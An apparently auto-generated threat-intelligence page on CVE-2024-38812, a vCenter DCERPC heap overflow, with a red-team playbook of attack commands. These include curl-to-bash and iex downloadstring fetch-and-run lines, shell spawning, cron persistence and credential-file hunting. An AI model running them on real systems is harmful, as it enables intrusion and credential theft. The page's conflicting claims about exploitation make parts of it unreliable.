CVE-2024-38812
Overview
This vulnerability is a heap-based buffer overflow occurring within the implementation of the Distributed Computing Environment / Remote Procedure Calls (DCERPC) protocol in VMware vCenter Server. The root cause lies in improper handling of specially crafted network packets that exceed allocated heap memory boundaries. The affected component is the DCERPC protocol handler in vCenter Server versions 7.0 and VMware Cloud Foundation deployments, where unchecked input leads to memory corruption.
Vulnerability Description
The vCenter Server contains a heap-overflow vulnerability in the implementation of the DCERPC protocol. A malicious actor with network access to vCenter Server may trigger this vulnerability by sending a specially crafted network packet potentially leading to remote code execution.
Impact
An unauthenticated attacker with network access to the vCenter Server can exploit this vulnerability to execute arbitrary code remotely with the privileges of the vCenter Server process. This allows full compromise of the management infrastructure, including control over virtual machines and underlying host configurations. The vulnerability enables attackers to perform lateral movement, disrupt services, or exfiltrate sensitive data within the virtualized environment without requiring any user interaction or credentials.
Solution
VMware has released security updates addressing this vulnerability in VMware vCenter Server version 7.0 and VMware Cloud Foundation. Administrators should apply the patches detailed in VMware Security Advisory VMSA-2024-0001 available at https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/24968. The advisory provides step-by-step patching instructions and recommends updating to the fixed versions to mitigate the issue.
EPSS vs KEV Prediction — Evolution (30 days)
Ransomware Intelligence
Predictions
Predictions are based on analysis of past ransomware group behaviors and their predilection for specific vulnerability characteristics, such as vendor, product, and flaw type.
The groups below are predictions based on historical exploitation patterns of the same vendor/product. These are not confirmations.
Full Analysis
The heap-overflow vulnerability present in the vCenter Server's implementation of the DCERPC protocol poses significant risks to organizations utilizing this virtualization management platform. Heap overflows occur when a program writes more data to a heap-allocated buffer than it can hold, leading to adjacent memory corruption. This specific flaw allows an attacker with network access to send specially crafted packets that can manipulate memory allocation, potentially leading to arbitrary code execution. The severity of this vulnerability is underscored by its high CVSS score, indicating a critical risk that necessitates immediate attention.
Exploitation of this vulnerability can occur through various attack vectors, primarily involving network access to the vCenter Server. An attacker could leverage this flaw by crafting malicious packets that exploit the heap overflow, allowing them to execute arbitrary code on the server. This could be achieved through techniques such as sending malformed DCERPC requests, which could be disguised as legitimate traffic. Given that vCenter Server is often deployed in environments managing multiple virtual machines and critical infrastructure, the potential for widespread impact is significant. Attackers could gain unauthorized access to sensitive data, disrupt services, or even pivot to other systems within the network.
The real-world implications of this vulnerability are profound. Organizations that rely on vCenter Server for their cloud and virtualization management could face severe business risks, including data breaches, service interruptions, and reputational damage. The ability for an attacker to execute arbitrary code remotely means that they could potentially gain control over the entire virtualized environment, leading to a cascade of security incidents. Furthermore, the financial repercussions of such an attack could be substantial, encompassing recovery costs, regulatory fines, and loss of customer trust. As organizations increasingly adopt cloud solutions, the exploitation of such vulnerabilities could lead to a broader trend of targeting virtualization platforms, making this a critical issue for cybersecurity.
To effectively detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regular patching and updates from VMware are essential to address known vulnerabilities, and organizations should prioritize the deployment of security updates as soon as they are released. Network segmentation can also help limit exposure, ensuring that only trusted devices can communicate with the vCenter Server. Intrusion detection systems (IDS) should be configured to monitor for unusual traffic patterns indicative of exploitation attempts. Additionally, organizations should conduct regular security assessments and penetration testing to identify potential weaknesses in their configurations and defenses.
In conclusion, the heap-overflow vulnerability in the vCenter Server's DCERPC protocol represents a critical threat to organizations leveraging this technology. The potential for remote code execution through network access underscores the need for robust security measures and proactive management of vulnerabilities. By prioritizing timely updates, implementing strong network defenses, and fostering a culture of security awareness, organizations can significantly reduce their risk and protect their virtualized environments from malicious actors.
CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2024-38812, with telemetry indicating a doubling in detection frequency over a short period. This surge signals increased interest or testing by threat actors in leveraging the heap-overflow vulnerability within VMware vCenter Server’s DCERPC protocol. Although no new exploit techniques or proof-of-concept code have surfaced, the elevated detection trend suggests that adversaries may be actively probing networks for vulnerable targets. The presence of ransomware-associated groups such as akira and UNC3886 in the broader threat landscape, despite no confirmed linkage to this vulnerability, underscores the potential for future exploitation scenarios involving ransomware deployment. Consequently, the risk posture for organizations running affected vCenter Server instances has intensified, elevating the urgency for vigilant monitoring and rapid response capabilities. While the overall exploit probability remains moderate given the absence of confirmed weaponization, the sharp increase in detection activity warrants heightened attention from defenders to preempt potential exploitation attempts.
Affected Products (49)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
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Vmware | Cloud Foundation | All |
cpe:2.3:a:vmware:cloud_foundation:*:*:*:*:*:*:*:*
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:-:*:*:*:*:*:*
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:a:*:*:*:*:*:*
|
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:b:*:*:*:*:*:*
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:c:*:*:*:*:*:*
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:d:*:*:*:*:*:*
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update1:*:*:*:*:*:*
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update1a:*:*:*:*:*:*
|
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update1c:*:*:*:*:*:*
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update1d:*:*:*:*:*:*
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update2:*:*:*:*:*:*
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update2a:*:*:*:*:*:*
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update2b:*:*:*:*:*:*
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update2c:*:*:*:*:*:*
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update2d:*:*:*:*:*:*
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update3:*:*:*:*:*:*
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update3a:*:*:*:*:*:*
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update3c:*:*:*:*:*:*
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update3d:*:*:*:*:*:*
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update3e:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
9 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1529 known victims)
Ransomware group known to exploit this vulnerability
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
47 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
echo "#{command}" > /etc/cron.d/#{cron_script_name}
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-38812 |
| support.broadcom.com |
GitHub CVE
|
https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/24968 |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-38812 |